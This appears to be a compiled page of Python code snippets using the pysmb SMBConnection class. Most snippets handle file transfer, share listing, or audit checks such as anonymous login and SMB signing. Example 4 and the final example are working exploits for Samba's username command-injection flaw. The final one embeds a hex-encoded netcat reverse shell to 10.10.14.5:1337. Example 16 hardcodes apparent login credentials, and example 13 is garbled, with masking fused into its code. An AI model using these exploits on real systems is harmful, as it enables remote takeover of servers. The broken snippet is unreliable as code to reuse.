Esempio n. 1
0
def is_anonymous_enabled(server: str, domain: str = 'WORKGROUP') -> bool:
    """
    Check if anonymous login is possible over SMB.

    :param server: The NetBIOS machine name of the remote server.
    :param domain: The network domain/workgroup. Defaults to 'WORKGROUP'
    """
    user = '******'
    password = ''
    try:
        with SMBConnection.SMBConnection(user,
                                         password,
                                         CLIENT_MACHINE_NAME,
                                         server,
                                         domain=domain,
                                         use_ntlm_v2=True,
                                         is_direct_tcp=True) as conn:
            ret = conn.connect(server, port=445)
            if not ret:
                show_close('Anonymous login not possible',
                           details=dict(domain=domain,
                                        user=user,
                                        server=server))
                return False
            show_open('Anonymous login enabled',
                      details=dict(domain=domain, user=user, server=server))
            return True
    except OSError as exc:
        show_unknown('There was an error connecting to SMB',
                     details=dict(server=server, domain=domain,
                                  error=str(exc)))
        return False
Esempio n. 2
0
 def connect(self, spider, netloc):
     self.smb = SMBConnection.SMBConnection(spider.user,
                                            spider.password,
                                            spider.domain,
                                            spider.domain,
                                            use_ntlm_v2=True)
     self.smb.connect(netloc, 139)
Esempio n. 3
0
def dowload_latest_image(sysConf):
    serverIP = sysConf.imgServer['IP']
    netbios = NetBIOS()
    serverName = netbios.queryIPForName(serverIP)
    conn = SMBConnection(sysConf.imgServer['USER'],
                         sysConf.imgServer['PASSWORD'],
                         my_name="BMC_Tester",
                         remote_name=serverName[0],
                         domain="COMPAL")
    if (False == conn.connect(serverIP)):
        return None
    platformImage = "BMC/Daily_Build/" + sysConf.platform
    path = conn.listPath(sysConf.imgServer['ROOT'], platformImage)
    sortedFile = sorted(path, key=attrgetter('create_time'))
    lastFile = sortedFile[len(sortedFile) - 1]
    imagePath = os.getcwd() + "/download"

    if not os.path.exists(imagePath):
        os.mkdir(imagePath)

    image = open(imagePath + "/" + lastFile.filename, "wb")
    print("\tDownloading %s to %s ....." %
          (lastFile.filename, imagePath + "/" + lastFile.filename))
    conn.retrieveFile(sysConf.imgServer['ROOT'],
                      platformImage + "/" + lastFile.filename, image)
    image.close()
    return lastFile.filename
Esempio n. 4
0
def main():
    try:
        opts, args = getopt.getopt(sys.argv[1:], 't:p:c:',
                                   ['target', 'port', 'cmd'])
    except getopt.GetoptError as e:
        print(str(e))
        usage()
        sys.exit(1)
    target = None
    port = None
    cmd = None
    for o, a in opts:
        if o in ('-t', '--target'):
            target = a
        elif o in ('-p', '--port'):
            try:
                port = int(a)
            except ValueError:
                print('[!] Invalid port provided, must be an int')
                usage()
                sys.exit(1)
        elif o in ('-c', '--cmd'):
            cmd = a
        else:
            print('[!] Invalid option {} with value: {}'.format(o, a))
            usage()
            sys.exit(1)

    missing_param = False

    if target is None:
        print('[!] Must provide target')
        missing_param = True

    if port is None:
        print('[!] Must provide port')
        missing_param = True

    if cmd is None:
        print('[!] Must provide command')
        missing_param = True

    if missing_param:
        usage()
        sys.exit(1)

    print('[+] Generating exploit')
    exploit = '/=`nohup {}`'.format(cmd)

    c = SMBConnection.SMBConnection(exploit, '', '', '')

    try:
        c.connect(target, port, timeout=1)
    except:
        print('[+] Exploit sent')
Esempio n. 5
0
 def connect(self):
     try:
         self.samba = SMBConnection(self.user_name,
                                    self.passwd,
                                    '',
                                    '',
                                    use_ntlm_v2=True)
         self.samba.connect(self.ip, self.port)
         self.status = self.samba.auth_result
     except:
         self.samba.close()
Esempio n. 6
0
    def __init__(self, username: str, password: str, server_name: str,
                 server_ip: str, share: str):
        self.conn = SMBConnection.SMBConnection(
            username,
            password,
            'smb_picture_picker',  # Arbitrary name identifying this connection on the server.
            server_name)

        assert self.conn.connect(server_ip)

        self.smb_share = share
        self.random = random.SystemRandom()
Esempio n. 7
0
def fetch_remote_data(ip, port, user, password, local_name, remote_name,
                      domain, share, remote_path, local_path):
    con = SMBConnection.SMBConnection(user, password, local_name, remote_name,
                                      domain)

    # while (not is_connected) and port < 500:
    #     try:
    #         is_connected = con.connect(ip, port=445, timeout=60)
    #     except ConnectionRefusedError:
    #         pass
    #     port = port + 1
    assert con.connect(ip, port=port, timeout=60)
    print("using port {}".format(port))
    smb_copy_folder(con, share, remote_path, local_path)
    con.close()
    return local_path
Esempio n. 8
0
def has_dirlisting(server: str,
                   share: str,
                   user: Optional[str] = None,
                   password: Optional[str] = None,
                   domain: str = 'WORKGROUP') -> bool:
    r"""
    Check if an SMB share has dirlisting.

    :param share: The name of the shared folder.
    :param \*args: Optional arguments for SMB connect.
    :param \*\*kwargs: Optional arguments for SMB connection.
    """
    try:
        with SMBConnection.SMBConnection(user,
                                         password,
                                         CLIENT_MACHINE_NAME,
                                         server,
                                         domain=domain,
                                         use_ntlm_v2=True,
                                         is_direct_tcp=True) as conn:

            ret = conn.connect(server, port=445)
            if not ret:
                show_unknown('There was an error connecting to SMB',
                             details=dict(server=server, domain=domain))
                return False
            conn.listPath(share, '/')
            show_open('Directory listing is possible',
                      details=dict(domain=domain,
                                   user=user,
                                   server=server,
                                   share=share))
            return True
    except OSError as exc:
        show_unknown('There was an error connecting to SMB',
                     details=dict(server=server, domain=domain,
                                  error=str(exc)))
        return False
    except smb_structs.OperationFailure:
        show_close('Directory listing not possible',
                   details=dict(domain=domain,
                                user=user,
                                server=server,
                                share=share))
        return False
Esempio n. 9
0
 def connect_smb(self, host, username, password):
     try:
         #remote_machine_name = str(getfqdn(host))
         nbs = NetBIOS(broadcast=True, listen_port=0)
         remote_machine_name = str(nbs.queryIPForName(host, timeout=10)[0])
         nbs.close()
         if not remote_machine_name:
             print("Noname")
             return 0
         conn = SMBConnection.SMBConnection(str(username),
                                            str(password),
                                            'Samurai',
                                            remote_machine_name,
                                            use_ntlm_v2=True)
         if conn.connect(
                 host, 139, timeout=10
         ) == True:  #assert conn.connect(host,139,timeout=10)
             conn.close()
             return 1
         else:
             return 0
     except Exception as e:
         return 0
Esempio n. 10
0
def getSMB(task):
    files = []
    try:
        samba = SMBConnection(task.username, task.password, 'mybase',
                              task.target)
        samba.connect(task.dir, int(task.port))
        list = task.tables.split(' ')
        share = list[0]
        path = list[1]
        id_str = str(task.finger)
        if len(list) == 3:  #指定文件
            file = list[2]
            p = path + '/' + file
            retrieveFile(samba, share, p, id_str)
            files.append(p)
        else:
            list = retrieveFileList(samba, share, path)
            for l in list:
                file = retrieveFile(samba, share, l, id_str)
                files.append(file)
        return files

    except Exception as e:
        LOGS.error('SMB连接出错:' + str(e))
Esempio n. 11
0
def is_signing_disabled(server, user, password, domain='WORKGROUP'):
    """
    Check if SMB connection uses signing.

    :param server: The NetBIOS machine name of the remote server.
    :param user: Username to authenticate SMB connection.
    :param password: Password for given user.
    :param domain: The network domain/workgroup. Defaults to 'WORKGROUP'
    """
    try:
        with SMBConnection.SMBConnection(user,
                                         password,
                                         CLIENT_MACHINE_NAME,
                                         server,
                                         domain=domain,
                                         use_ntlm_v2=True,
                                         is_direct_tcp=True) as conn:
            ret = conn.connect(server, port=445)
            if not ret:
                show_unknown('There was an error connecting to SMB',
                             details=dict(server=server, domain=domain))
                return False
            if conn.is_signing_active:
                show_close('SMB has signing active',
                           details=dict(domain=domain,
                                        server=server,
                                        user=user))
                return False
            show_open('SMB has signing disabled',
                      details=dict(domain=domain, server=server, user=user))
            return True
    except OSError as exc:
        show_unknown('There was an error connecting to SMB',
                     details=dict(server=server, domain=domain,
                                  error=str(exc)))
        return False
Esempio n. 12
0
if len(appConfig.sections()) == 0:
	raise RuntimeError("Could not open configuration file")
		
SMB_USER = appConfig.get("SMB", "User")
SMB_PASSWORD = appConfig.get("SMB", "Password")
SMB_DOMAIN  = appConfig.get("SMB", "Domain")
SMB_PATH = appConfig.get("SMB", "Path")
SMB_HOST = appConfig.get("SMB", "Host")
SMB_SHARE = appConfig.get("SMB", "SharedRessourceName")

""" SMB """
try:
	print("Connecting to shared directory...")

	conn = SMBConnection(SMB_USER, SMB_PASSWORD, 'python-zeep', SMB_HOST, SMB_DOMAIN, use_ntlm_v2=True,
						sign_options=SMBConnection.SIGN_WHEN_SUPPORTED,
						is_direct_tcp=True) 
						
	connected = conn.connect(SMB_HOST, 445)    

	print("Getting " + str(SMB_PATH) + " ...")
	""" Saving to temporary file """

	file_obj = tempfile.NamedTemporaryFile()
	file_attributes, filesize = conn.retrieveFile(SMB_SHARE, SMB_PATH, file_obj)

	file_obj.seek(0)
	fileDownloaded = True
except ConnectionResetError:
	print("Connection closed")
except OperationFailure:
Esempio n. 13
0
def main():
    # get local pdf file name first
    try:
        password = getpass.getpass('Password: '******'Error: can not access the system')
        conn.close()
    # download current homepage_file
    try:
        with open(homepage_file, 'wb') as fp:
            conn.retrieveFile('c$', docroot + homepage_file, fp)
        print('Downloading of ' + homepage_file + ' successful\n')
    except:
        print('Error: Cannot download ' + homepage_file + '\n')
        conn.close()
    recent_list = recentFiles(conn, doc_root + '/archivefolder')
    print(
        str(access_recent) +
        ' most recent filenames in the archivefolder directory: \n')
    for n in range(len(recent_list)):
        print(recent_list[n])
    arch_filename = input('\nSave current ' + homepage_file +
                          ' for archivefolder as? ')
    # TODO suggest filename

    try:
        # upload downloaded homepage_file into archivefolder as arch_filename
        with open(homepage_file, 'rb') as fp:
            conn.storeFile('c$', doc_root + '/archivefolder' + arch_filename,
                           fp)
        os.remove(homepage_file)
    except:
        print('Error: Cannot upload ' + homepage_file + ' into archivefolder')
        conn.close()
    try:
        # Delete homepage_file_old, then rename homepage_file in as homepage_file_old
        conn.deleteFiles('c$', docroot + homepage_file_old)
        conn.deleteFiles('c$', docroot + newsletter_file)
        conn.rename('c$', docroot + homepage_file, docroot + homepage_file_old)
    except:
        print('Error: Cannot rename ' + homepage_file + ' to ' +
              homepage_file_old + ' in folder.')
        conn.close()
    try:
        # TODO make this elegant
        localpdf = getLocalpdf()
        with open(localpdf, 'rb') as fp:
            conn.storeFile('c$', docroot + homepage_file, fp)
        with open(localpdf, 'rb') as fp:
            conn.storeFile('c$', docroot + newsletter_file, fp)
    except:
        print('Error: cannot upload ' + localpdf + ' to folder')
        conn.close()
    print('\n' + homepage_file +
          ' succesffully updated!\n\n   Closing SMB connection')
    os.system('pause')
    conn.close()
Esempio n. 14
0
    def execute(self):
        self.ensure_one()

        # get connection
        conn = smbconn.SMBConnection(self.user,
                                     self.password,
                                     'odoo',
                                     self.host,
                                     use_ntlm_v2=True)
        ok = conn.connect(self.ip, port=self.port)
        if not ok:
            raise UserError(
                _("Cannot connect to ip %s on port %i") % (self.ip, self.port))

        errors = {}
        files_added = 0

        # get file list
        files = conn.listPath(self.resource, self.folder)

        # find new files
        if files:
            files_ndx = {f.filename: f for f in files if not f.isDirectory}
            all_filenames = list(files_ndx.keys())
            existing_filenames = self.env['sale.order.email'].search([
                ('datas_fname', 'in', all_filenames),
            ]).mapped('datas_fname')
            new_filenames = sorted(
                list(set(all_filenames) - set(existing_filenames)))

            N = len(new_filenames)
            _logger.info("Found %i new files on source '%s'" % (N, self.name))
            for i, filename in enumerate(new_filenames, 1):
                f = files_ndx[filename]
                file_path = '%s/%s' % (self.folder, f.filename)

                file_obj = tempfile.NamedTemporaryFile()
                conn.retrieveFile(self.resource, file_path, file_obj)
                file_obj.seek(0)
                file_content = file_obj.read()
                file_obj.close()

                loc = locale.getlocale()
                locale.setlocale(locale.LC_ALL, 'C')
                msg = None
                try:
                    msg = extract_msg.Message(file_content,
                                              attachmentClass=AttachmentMod)
                except:
                    errors.setdefault('wrong_format_file',
                                      []).append(f.filename)

                locale.setlocale(locale.LC_ALL, loc)

                if msg:
                    number = None
                    m = re.match(r'^.*gnx *([0-9]+)[^.]*\..+$',
                                 f.filename.lower())
                    if not m:
                        errors.setdefault('filename_format_error',
                                          []).append(f.filename)
                    else:
                        number = m.group(1)

                    if number:
                        sale_order_email_number = self.env[
                            'sale.order.email'].search([
                                ('source_id', '=', self.id),
                                ('number', '=', number),
                            ])
                        if sale_order_email_number:
                            errors.setdefault('duplicated_numbers', {}) \
                                .setdefault(sale_order_email_number.datas_fname, []).append(f.filename)

                    if not msg.message_id:
                        errors.setdefault('message_id_not_found',
                                          []).append(f.filename)
                    else:
                        message_id = msg.message_id.strip()

                        sale_order_email_message = self.env[
                            'sale.order.email'].search([
                                ('message_id', '=', message_id),
                            ])
                        if sale_order_email_message:
                            errors.setdefault('duplicated_files', {}) \
                                .setdefault(sale_order_email_message.datas_fname, []) \
                                .append(f.filename)

                        if not sale_order_email_message and number and not sale_order_email_number:
                            sender = email.header.make_header(
                                email.header.decode_header(
                                    msg.sender)).__str__()
                            sender = sender.replace('\r', ' ').replace(
                                '\n', ' ').replace('\t', ' ')

                            sender_name, sender_email = None, None
                            m = re.match(r'^ *(.*?) *<([^@]+@[^@]+)> *$',
                                         sender)
                            if m:
                                sender_name, sender_email = m.groups()
                            else:
                                m = re.match(r'^ *([^@]+@.+) *$', sender)
                                if not m:
                                    errors.setdefault('email_wrong_format',
                                                      []).append(f.filename)
                                else:
                                    sender_email = m.group(1)

                            if sender_email:
                                self.env['sale.order.email'].create({
                                    'number': number,
                                    'name': msg.subject and msg.subject.strip() or None,
                                    'email_name': sender_name,
                                    'email_from': sender_email.lower(),
                                    'date': email.utils.parsedate_to_datetime(msg.date) \
                                        .astimezone(pytz.UTC) \
                                        .replace(tzinfo=None),
                                    'body': msg.body and msg.body.strip() or None,
                                    'datas': base64.b64encode(file_content),
                                    'datas_fname': f.filename,
                                    'message_id': message_id,
                                    'source_id': self.id,
                                })
                                files_added += 1

                _logger.info("%s/%s (%i/%i)" % (self.name, f.filename, i, N))

        conn.close()

        return files_added, errors
def connect_remote_win_path(hostname, username, password, filepath,
                            cache_path):
    localserver = "local"
    domain = ""
    service_name = ''

    try:
        if cache_path[:2] == r"\\":
            ll = cache_path.split('\\')
            service_name = ll[3]
            print("service_name")
            new_cache_path = ""
            for i in range(len(ll)):
                if i > 3:
                    new_cache_path += "/" + ll[i]
            print("new_cache_path:", new_cache_path)

        else:
            service_name = cache_path[:1] + "$"
            ll = cache_path.split('\\')
            new_cache_path = ""
            for i in range(len(ll)):
                if i > 0:
                    new_cache_path += "/" + ll[i]
            print("new_cache_path:", new_cache_path)

        print("connecting server")
        conn = SMBConnection(username,
                             password,
                             localserver,
                             hostname,
                             domain=domain,
                             use_ntlm_v2=True,
                             sign_options=SMBConnection.SIGN_WHEN_SUPPORTED,
                             is_direct_tcp=True)

        conn.connect(hostname, 445)

        response = conn.listShares(timeout=30)  # obtain a list of shares
        print('Shares on: ' + hostname)
        arcpy.AddMessage('Shares on: ' + hostname)

        for i in range(len(response)):  # iterate through the list of shares
            print("  Share[", i, "] =", response[i].name)

        print("filepath:", filepath)

        try:

            file_list = os.listdir(filepath)

            for Level in file_list:
                lodPath = os.path.join(filepath, Level)
                bundles = os.listdir(lodPath)
                server_lod_path = new_cache_path + "/" + Level
                for bundle in bundles:
                    local_bundle_path = lodPath + os.sep + bundle
                    server_bundle_path = server_lod_path + "/" + bundle
                    print("local:", local_bundle_path)
                    # print("server:", server_bundle_path)
                    file_obj = open(local_bundle_path, 'rb')

                    # service_name = response[2].name
                    print("service_name:", service_name)
                    conn.storeFile(service_name,
                                   server_bundle_path,
                                   file_obj,
                                   timeout=60)
                    print("uploaded:", server_bundle_path)
                    arcpy.AddMessage("uploaded:" + server_bundle_path)
                    file_obj.close()

        # print("upload over")
            conn.close()
            return True
        except:
            arcpy.AddError(
                "upload failed! Maybe there is no any tiles in the dir: " +
                filepath)
            conn.close()
            return False
    except:
        conn.close()
        return False
Esempio n. 16
0
def main():
    con = SMBConnection.SMBConnection('grimshandl', 'qdten016', 'BW5-PC-4',
                                      'AXION', '')
    assert con.connect('147.142.18.81')
    print(con.listShares())
Esempio n. 17
0
#!/usr/bin/python3
#exploit Samba smbd 3.0.20-Debian

from smb import *
from smb.SMBConnection import *

#msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.5 LPORT=1337 -f python
buf =  ""
buf += "\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x6d"
buf += "\x68\x63\x6d\x3b\x20\x6e\x63\x20\x31\x30\x2e\x31\x30"
buf += "\x2e\x31\x34\x2e\x35\x20\x31\x33\x33\x37\x20\x30\x3c"
buf += "\x2f\x74\x6d\x70\x2f\x6d\x68\x63\x6d\x20\x7c\x20\x2f"
buf += "\x62\x69\x6e\x2f\x73\x68\x20\x3e\x2f\x74\x6d\x70\x2f"
buf += "\x6d\x68\x63\x6d\x20\x32\x3e\x26\x31\x3b\x20\x72\x6d"
buf += "\x20\x2f\x74\x6d\x70\x2f\x6d\x68\x63\x6d"

userID = "/=` nohup " + buf + "`"
password = '******'
victim_ip = '10.10.10.3'

conn = SMBConnection(userID, password, "HELLO", "TEST", use_ntlm_v2=False)
conn.connect(victim_ip, 445)